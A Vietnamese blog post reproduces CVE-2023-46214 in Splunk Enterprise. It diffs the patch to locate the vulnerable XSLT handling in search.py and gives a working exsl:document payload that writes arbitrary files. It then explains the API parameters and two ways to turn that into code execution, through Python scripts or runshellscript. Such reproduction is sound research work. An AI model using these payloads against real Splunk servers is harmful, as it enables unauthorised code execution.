- Lại một tháng nữa đã trôi qua… Tháng trước tôi nghiên cứu về CVE-2021-42237, một lỗ hổng liên quan đến .Net Deserialization cho phép kẻ tấn công thực thi code trên hệ thống sitecore mà không cần cơ chế xác thực nào. Cũng tính viết một blog về nó, nhưng sau khi làm xong tôi phát hiện ra mình chưa đủ kiến thức để viết. Bởi vì với deserialization thì hầu hết sẽ có 2 bước quan trong đó là tìm được sink (nơi deserialize) và chain. Với CVE trên, sink thì từ source tới sink khá đơn giản để nói lại mà còn chain thì quá phức tạp (với người mới như tôi). Bên cạnh đó, sau khi đi qua nhiều ngôn ngữ để trải nghiệm thì kế hoạch sắp tới của tôi sẽ tập trung chuyên sâu vào ngôn ngữ Java và DotNet. Nên tôi sẽ quay lại và làm blog chi tiết về nó sau.
- Cứ ngỡ tháng này sẽ như tháng trước, sẽ bị phạt tiếp 200k vì trong tháng tôi chỉ lo đi học, pentest blackbox mà không có reproduce, research gì cả thì đùng một phát, sếp gửi có cái CVE của splunk và bảo reproduce. Đúng là trời hạn gặp mưa rào, bắt tay ngay vào việc thôi.😋😋😋😋.
I. Giới thiệu về CVE-2023-46214
CVE-2023-46214 là mã lỗi xuất hiện trên sản phẩm Splunk Enterprise cho phép attacker có thể thực thi lỗi ở server (RCE). Phiên bản bị lỗi từ 9.0.7-->9.1.2
.
Lỗ hổng này do lỗi trong cách xử lý các biến đổi ngôn ngữ kiểu dáng mở rộng (XSLT) của Splunk Enterprise. Kẻ tấn công có thể khai thác lỗ hổng để tải lên tệp XSLT độc hại sẽ được Splunk Enterprise thực thi. Điều này có thể cho phép kẻ tấn công kiểm soát hệ thống bị ảnh hưởng.
Như những CVE trước đó, để reproduce 1days, Ndays chúng ta cần phải tìm hiểu các kiến thức nền tảng cần thiết, cài môi trường bị lỗi, tìm sink, source rồi build payload và cuối cùng là kiếm chứng.
II. Kiến thức nền tảng
Trước khi đi vào phân tích lỗ hổng, chúng ta cùng đi qua một số đơn vị kiến thức cơ bản và cần thiết cho lỗ hổng này:
2.1 Splunk là gì? Cài đặt như thế nào?
- Splunk là một phần mềm chủ yếu được sử dụng để tìm kiếm, giám sát và kiểm tra dữ liệu do máy tạo ra thông qua giao diện web từ đó phân tích để đưa ra báo cáo cũng như cảnh báo với thời gian thực. Bạn có thể xem thêm thông tin tại đường dẫn sau: Splunk - Tổng hợp kiến thức cơ bản về Splunk dành cho người mới bắt đầu | Lab Network System Security (securityzone.vn)
- Có nhiều hướng dẫn trêm internet để cài đặt splunk, ví dụ như https://www.bitsioinc.com/install-splunk-linux/. Chúng ta chỉ cần làm theo là thực hiện được ngay.
- Với CVE này, môi trường thực nghiệm của tôi là:
- OS: ubuntu linux 22.04
- splunk: 9.1.1
- Tôi nhanh chóng tiến hành cài đặt phiên bản bị lỗi để thử nghiệm.
2.2 Extensible stylesheet language transformations (XSLT) là gì?
- Theo mô tả, lỗ hổng này do lỗi trong cách xử lý các biến đổi ngôn ngữ kiểu dáng mở rộng (XSLT) của Splunk Enterprise. Vậy XSLT là gì?
- Nói một cách đơn giản, nếu CSS là ngôn ngữ để định dạng cho HTML thì XSL (eXtensible Stylesheet Language) được dùng để định dạng cho XML
- XSLT viết tắt cho XSL Transformation. XSLT hỗ trợ chuyển đổi XML dưới dạng các document khác như TXT, PDF,SVG,…
- Với những ai lần đầu tiếp XSLT lần đầu như tôi thì w3school là nơi lý tưởng để lấy một ít kiến thức cơ bản. Bên cạnh đó, video và slide của Nicolas Gregoire - Agarri cũng là hai tài liệu quý giá khi mới tiếp cận về XSLT.
III. Diff-patch để tìm sink
Có nhiều cách để tìm sink trong đó, diff patch (cách nói ngắn gọn cho việc diff bản bị lỗi với bản vá để xem các đoạn code đã sửa) là phương pháp rất phổ biến đối với các mã nguồn mở hoặc các product có thể xem được mã nguồn. May mắn thay, với splunk, chúng ta có thể xem mã nguồn và từ đó diff patch một cách dễ dàng.
2.1 Diff patch source như thế nào?
- Để xác định được sink (nơi bị lỗi), chúng ta cần mã nguồn của bản bị lỗi và bản đã vá, sau đó so sánh xem những đoạn code đã được sửa (diff).
- Chúng ta tải 2 phiên bản lỗi và đã fix
-
Extract code từ .deb file bằng lệnh:
1
ar x {file.deb}
Lệnh ar có thể được cài bằng lệnh sau:
1
sudo apt install binutils
-
Khi decode xong chúng ta sẽ được nhiều file, hãy chú ý tới file
data.tar.xz
bởi vì file này chứa nhiều mã nguồn mà chúng ta cần tham khảo. -
Để diff-patch 2 project lớn, tôi thường sử dụng Git. Chúng ta chỉ cần commit 2 version lên rồi dùng tính năng diff của git để xem. Với project nhỏ thì khá đơn giản, nhưng project lớn, việc này khá tốn thời gian. Chúng ta có thể sử dụng git extension của vscode, nhưng tại thời điểm sử dụng thì vscode của tôi lại không show ra được git commit. (chắc có lẽ bị lỗi gì đó)
-
Một giải pháp thay thế đó là sử dụng
gitk
. Bạn có thể tìm hiểu thêm tại đây.
Giao diện tiện lợi cho tôi trace.
2.2. Sink ở đâu???
- Chúng ta đã giải quyết được bài toán làm sao để diff-patch được mã nguồn của bản bị lỗi và bản đã vá, đồng thời, chúng ta cũng cài đặt thành công phiên bản bị lỗi của splunk.
- Bước tiếp theo là cần để xác định được sink ở đâu. Bởi vì, dữ kiện duy nhất mà tôi có được từ CVE này là liên quan tới XSLT trong khi đây cũng là lần đầu tôi biết tới sự tồn tại của nó (gà quá mà 😢 😢). Do đó, điều tôi cần làm bây giờ là tìm hiểu xem có những tài liệu, blog nào liên quan tới việc tấn công sử dụng XSLT hay không, từ đó rút ra các dấu hiệu của nó. Ngoài ra, tôi còn phải tìm hiểu xem XSLT trong splunk có vai trò như thế nào? (được sử dụng ở đâu, implement như thế nào? source code nằm ở đâu).
- CVE này liên quan tới việc truyền 1 dữ liệu XSLT lên server, do đó, chúng ta cần phải tìm hiểu xem những nơi nào nhận code XSLT có bị sửa đổi giữa 2 version, đặc biệt chú ý tới các tính năng upload cũng như các tham số nhận từ người dùng. Tôi dùng tính năng search của
gitk
để tìm từ khóa XSLT.
Wow! Tôi đã thấy đoạn code sửa đáng nghi ngờ, nó nằm ở: source/data_extract/opt/splunk/lib/python3.7/site-packages/splunk/appserver/mrsparkle/controllers/search.py
Nhảy vào đọc thôi!
-
Chúng ta thấy, những dòng code được sửa có liên quan đến tính năng parse file. Cụ thể, phiên bản bị lỗi thì file ở
xslFilePath
được đọc và parse ngay trong khi ở phiên bản fix thì đường dẫn này được đưa vào hàmparse_xsl_file_and_validate
trước khi xử lý. -
Dựa vào tên hàm tôi có thể đoán được công dụng hàm này để sanitize nội dung XSLT có trong file trước khi parse. Khá giống với mô tả của lỗ hổng nên khả năng cao lỗ hổng là ở đây. Do đó, tôi quyết định tập trung vào hàm này. Mở code bị lỗi lên vào đọc hiểu, tìm bug thôi!!! Tôi nhanh chóng mở Vscode và vào đường dẫn
$SPLUNK_HOME/lib/python3.7/site-packages/splunk/appserver/mrsparkle/controllers/search.py
-
Đoạn code bị nghi ngờ lỗi như sau:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
... elif moduleName and ('xsl' in kwargs) and output and enableSearchJobXslt: logger.debug('search api got xsl request: %s' % moduleName) ## get XSL file xslFilePath = os.path.abspath(bundle_paths.expandvars(os.path.join(self.moduleRoster[moduleName]['path'], kwargs['xsl']))) splunkHomePath = bundle_paths.expandvars('$SPLUNK_HOME') xsl_file_meta_data = JobsController.get_xsl_file_meta_data(xslFilePath) if not xsl_file_meta_data.get("file_exists"): cherrypy.response.headers['content-type'] = MIME_HTML logger.warn('File xsl="%s" is not available' % xslFilePath) output = 'The file you are trying to access is not available' elif not xsl_file_meta_data.get("is_valid_extension"): cherrypy.response.headers['content-type'] = MIME_HTML logger.warn('File xsl="%s" is not available' % xslFilePath) output = 'The file you are trying to access does not have a valid extension.' elif xslFilePath.startswith(splunkHomePath): try: f = open(xslFilePath, 'r') xslt_doc = et.parse(f) f.close() ## generate transformer transform = et.XSLT(xslt_doc) ## transform the XML xmlDoc = et.fromstring(output) transformedOutput = transform(xmlDoc) cherrypy.response.headers['content-type'] = MIME_HTML html = et.tostring(transformedOutput) if not html: output = 'Loading...' else: output = html ...
Chúng ta thấy rằng, từ dòng 24-37 nội dung của file tại
xslFilePath
được đọc, parse, transform mà không hề có sự kiểm tra hay lọc sạch dữ liệu nào. Như đã đề cập, trước khi tiếp xúc tới đoạn code này thì tôi đã google tìm đọc các tài liệu liên quan các lỗ hổng khai thác có sử dụng XSLT. Chỉ với key word đơn giản:XSLT + exploit + RCE
vào google bạn đã thấy có rất nhiều tài liệu liên quanTôi nhanh chóng chú ý đến Abusing XSLT for Practical Attacks White Paper được đề cập trong HackTricks. Và một số tài liệu rất quý báu cho tôi trong quá trình tái tạo lại lỗ hổng này:
- https://owasp.org/www-pdf-archive/OWASP_Switzerland_Meeting_2015-06-17_XSLT_SSRF_ENG.pdf
- https://www.youtube.com/watch?v=8YYa1CWI1AU
- https://prezi.com/y_fuybfudgnd/offensive-xslt/
Một tips để kiếm các nguồn tài liệu chất lượng là các bạn hãy kiếm 1-2 paper hoặc slide liên quan tới nội dung cần tìm kiếm ở các diễn đàn hoặc các trang web nổi tiếng (như blackhat, owasp,..) rồi xem thêm ở phần references.
Sau khi đã có một cái hiểu “sơ sơ” về lỗ hổng này và nhận thấy splunk xử dụng phần parser xslt bằng thư viện
lxml
của python. Và đoạn code này tôi hoàn toàn có thể tái tạo lại ở local mà không có bất cứ ràng buộc thư viện riêng nào của splunk, nên tôi đã tạo một đoạn code nhỏ, mô phỏng qua trình này trên local để thử nghiệm xem thử liệu đây có phải là sink mà chúng ta tìm kiếm.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
import sys import lxml.etree as et if len(sys.argv) != 2: print("Usage: python3 splunk-xslt-handler.py <path_to_file_xsl>") sys.exit(1) xslFilePath = sys.argv[1] try: with open(xslFilePath, 'r') as f: xslt_doc = et.parse(f) output = '<catalog></catalog>' ## generate transformer transform = et.XSLT(xslt_doc) ## transform the XML xmlDoc = et.fromstring(output) transformedOutput = transform(xmlDoc) print(et.tostring(transformedOutput, pretty_print=True).decode("utf-8") ) html = et.tostring(transformedOutput) if not html: output = 'Loading...' else: output = html except FileNotFoundError: print(f"Error: File not found at path {xslFilePath}") sys.exit(1) except Exception as e: print(f"An error occurred: {e}") sys.exit(1)
-
Tài liệu của owaps tôi đã đề cập trước đó có đưa ra các payload khai thác và kết thúc mỗi payload đều có bảng tổng kết cho thấy payload này có thể khai thác thành công trên từng loại XSLT Processors nào.
-
Ở local, chúng ta cũng sẽ đi từng bước để build payload. Đầu tiên, chúng ta cần phải xác định python đang chạy sử dụng loại processor nào.
-
Để thu thập thông tin hệ thống, ta tạo file
disclosure.xsl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <html> <body> XSLT version: <xsl:value-of select="system-property('xsl:version')"/><br/> XSL vendor: <xsl:value-of select="system-property('xsl:vendor')"/><br/> XSL vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')"/><br/> Version: <xsl:value-of select="system-property('xsl:version')" /><br /> </body> </html> </xsl:template> </xsl:stylesheet>
kết quả chương trình
Như vậy, processor (hay vendor) hỗ trợ ở đây là
libxslt
-
Lướt 1 vòng các mã khai thác trong tài liệu của owaps ở trên, thì tôi thấy có một mã khai thác cho phép tạo file. Tuy nhiên, bạn copy nguyên đoạn code trong tài liệu sẽ chạy không được, mà cần google thêm 1 tí để thêm thành phần còn thiếu. Tôi tạo được file
create-file.xsl
với nội dung như sau:1 2 3 4 5 6 7 8 9 10 11 12 13
<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl" exclude-result-prefixes="exsl" version="1.0"> <xsl:template match="/"> <exsl:document href="local_edisc_file.txt"> <xsl:text>Write Write Files</xsl:text> </exsl:document> </xsl:template> </xsl:stylesheet>
Test thử ở local
Yeah, vậy là chúng ta đã thành công tạo ở local. Đến đây chúng ta đã khẳng định được đây chính là sink mà chúng ta tìm, đồng thời chúng ta cũng xây dựng được payload tạo file. Bước tiếp theo cần phải từ sink tìm source.
IV. Từ sink tìm source rồi RCE
-
Để tìm source, chúng ta cần tìm hiểu route của ứng dụng để xem thử các request truyền vào sẽ được route đi đâu.
-
Quay lại với đoạn code bị lỗi. Đoạn code này nằm trong hàm
def getJobAsset(self, sid, asset, compat_mode=True, **kwargs):
với route như sau: -
Và hàm
getJobAsset
thuộc classclass JobsController(BaseController):
với route như sau:
- Như vậy, để truy cập tới
getJobAsset
thì path sẽ là/search/jobs/:sid/:asset?param1=a¶m2=b&...¶mN=n
Các biến param sẽ lưu trong**kwargs
của hàmgetJobAsset
- Ngoài ra, dòng lệnh
@expose_page(handle_api=ONLY_API)
tại định nghĩa của hàmgetJobAsset
cho thấy request chúng ta chỉ được truy cập dưới dạngapi/...
Do đó, để truy cập tới endpoint thì ta sẽ có request dạng
/api/search/jobs/:sid/:asset?param1=a¶m2=b&...¶mN=n
Điều cần làm đầu tiên là phải có sid
.
4.1 Tìm sid
- Tôi bắt đầu dạo quanh các tính năng của splunk. Đây là kĩ năng thường được sử dụng khi tôi tiến hành blackbox. Kết hợp với type bug này thuộc dạng upload file, nên trong quá trình “đi dạo” tôi cũng chú ý tới các tính năng upload file.
- Với tiêu chí đó, tôi tin rằng bất kì bạn nào cũng sẽ như tôi, dễ dàng chú ý với tính năng này
- Tính năng này cho phép upload file từ máy và sẽ tạo cho chúng ta một mã sid
- Tôi upload thử payload mà chúng ta đã build ở local
- sid là giá trị nằm ở trường
text
4.2 Build payload tạo file bất kì.
- Bây giờ đã có sid rồi, tiến hành kiểm tra xem thử suy đoán về endpoint của chúng ta có đúng không. Quay lại đọc hiểu đoạn code và thêm các điều kiện tương ứng để touch được tới hàm.Ngoài ra splunk cũng có document hỗ trợ các api của họ, đó cũng là nguồn tài liệu quý giá cho chúng ta tìm hiểu.
- Phương pháp tiếp cận để build payload mà tôi sử dụng là đi từ trong ra ngoài, tức là từ vị trí hàm bị lỗi trace ngược lại source để tìm các điều kiện hợp lệ. Quay lại với hàm sink:
-
Dòng code 476-488 là đoạn code trigger lỗi, để vào được đường này thì đĩa chỉ
xslFilePath
phải bắt đầu vớisplunkHomePath
tức là/opt/splunk
trên linux. Hãy thử kiểm tra file vừa upload trên server có thỏa mãn điều kiện này không bằng lệnh1
find / -name create-file.xsl
Dễ thấy điều kiện này đã được thỏa mãn vì file nằm ở đường dẫn:
/opt/splunk/var/run/splunk/dispatch/1700794908.13/create-file.xsl
-
Okie, tiếp tục trace ngược thôi
-
Tiếp tục để đi vào đoạn code bị lỗi thì điều kiện if tại dòng 454 phải trả về true, tức là phải thỏa mãn các kiều kiện sau:
modulename
khác rỗngouput
khác rỗng- có tham số
xml
trong request - tính năng
enableSearchJobXslt
được bật
-
Trong các điều kiện trên thì tính năng
enableSearchJobXslt
được bật trong/opt/splunk/etc/system/default/web.conf
-
Phần còn lại là cần một param
xsl
trong request và biếnmoduleName
cùng biếnoutput
phải khác rỗng.
Xác định module name
-
Hãy xem xét đoạn code sau đây
-
Chúng ta thấy
self.moduleRoster
là một danh sách chứa các module name có giá trị từgetInstalledModules()
. -
Vào hàm
getInstalledModules
chúng ta sẽ thấy danh sách các module được load từ địa chỉshare/splunk/search_mrsparkle/modules
-
Như vậy, để có module name, bạn chỉ cần vào địa chỉ trên và lấy 1 module name hợp lệ bất kì
Xác định giá trị tham số xsl
Dễ thấy xsl
là địa chỉ file xsl đã được upload lên
Xác định giá trị của tham số output
Giá trị output thì sẽ phụ thuộc vào giá trị :asset
ở endpoint.
Muốn hiểu rõ thì chỉ cần vào đọc hàm cụ thể thôi (Tôi sẽ không đi chi tiết ở bước này) Một gợi ý nhỏ ở đây nhé
Kết hợp tất cả lại, tôi có request trigger như sau
|
|
Request có output là loading…
Như vậy trigger thành công, kiểm tra xem thành quả nào
Yeah, trên server của chúng ta đã có file. Nhưng tại sao nó lại nằm ở root nhỉ?
Sau khi thử lại trên local, tôi nhận thấy với payload tạo file
|
|
tôi có thể trỏ địa chỉ viết file tại href
đến bất cứ đâu. Và vì splunk trên local đang được deploy với quyền root nên hầu như tôi có thể viết file đến bất kì vị trí nào trên server.
Tiếp theo, chúng ta cần phải tìm xem nên viết ở đâu để có thể trigger được RCE
4.3 RCE
Chúng ta đã có thể ghi một file bất kì vào vị trí bất kì, bước tiếp theo là cần phải tìm cách để thực thi code trên server.
Hãy bắt đầu với một vài keyword trên google nào: splunk + execute code
; splunk + run code
4.3.1 RCE với scripts
Dễ dàng chúng ta sẽ tìm đến được keyword: scripts
. Cơ bản là scripts là một câu lệnh cho phép người dùng thực thi các đoạn code python đã được định nghĩa trước trên server để tối ưu quá trình thực thi. Chi tiết bạn có thể xem ở đây
Để nhanh chóng, bạn có thể xem video này
Đơn giản là chúng ta chỉ cần viết một file python vào đường dẫn $SPLUNK_HOME\bin\scripts
hoặc $SPLUNK_HOME\etc\apps\search\bin
rồi load script của chúng ta lên, thế là chạy.
Cụ thể, tôi chạy tạo file .xsl với nội dung sau:
|
|
- Khi thực hiện lại ở bước 4.2 thì chúng ta sẽ tạo được file
getshell_edisc.py
tại/opt/splunk/etc/apps/search/bin/getshell_edisc.py
- Bước tiếp theo thì chỉ cần làm như video, load script của chúng ta lên thôi.
4.3.2 RCE với runshellscript
- Khi đọc tài liệu của scripts trên splunk, tôi chú ý đến một chú ý về security
- Vào đường dẫn SPL safeguards for risky commands, chúng ta sẽ thấy một list các command được đánh giá là rủi ro nếu sử dụng không đúng
-
Trong danh sách này có hàm
runshellscript
. Hàm này cho phép người dùng thực thi script để alert. Với command này, thao tác trigger script sẽ đơn giản hơn ở cách trước:- Viết shell tại đường dẫn
/opt/splunk/bin/scripts/
- Nhập đúng format câu lệnh vào ô search là để trigger
- Viết shell tại đường dẫn
V. Nguồn tham khảo
https://www.w3schools.com/xml/xsl_intro.asp
https://www.youtube.com/watch?v=8YYa1CWI1AU
https://prezi.com/y_fuybfudgnd/offensive-xslt/
https://owasp.org/www-pdf-archive/OWASP_Switzerland_Meeting_2015-06-17_XSLT_SSRF_ENG.pdf